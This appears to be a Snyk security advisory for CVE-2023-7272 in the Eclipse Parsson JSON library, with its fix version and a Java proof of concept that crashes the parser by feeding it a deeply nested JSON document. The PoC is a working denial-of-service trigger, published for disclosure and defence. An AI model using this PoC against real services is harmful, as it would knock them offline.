Out-of-bounds Write Affecting org.eclipse.parsson:parsson package, versions [,1.0.4) [1.1.0,1.1.3)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGECLIPSEPARSSON-7536978
- published 18 Jul 2024
- disclosed 17 Jul 2024
- credit Lukas Jungmann
Introduced: 17 Jul 2024
CVE-2023-7272 Open this link in a new tabHow to fix?
Upgrade org.eclipse.parsson:parsson
to version 1.0.4, 1.1.3 or higher.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write due to the handling of deeply nested JSON input. An attacker can cause Java stack overflow exception and denial of service.
PoC
import jakarta.json.Json;
import jakarta.json.stream.JsonParser;
import java.io.StringReader;
public class Main {
public static void main(String[] args) {
try {
String json = createDeepNestedDoc(50000);
try (JsonParser parser = Json.createParser(new StringReader(json))) {
while (parser.hasNext()) {
JsonParser.Event ev = parser.next();
if (ev.name().equals("START_ARRAY")) {
parser.getArray();
}
}
}
} catch (Throwable t) {
t.printStackTrace();
}
}
private static String createDeepNestedDoc(final int depth) {
StringBuilder sb = new StringBuilder();
sb.append("[");
for (int i = 0; i < depth; i++) {
sb.append("{ \"a\": [");
}
sb.append(" \"val\" ");
for (int i = 0; i < depth; i++) {
sb.append("]}");
}
sb.append("]");
return sb.toString();
}
}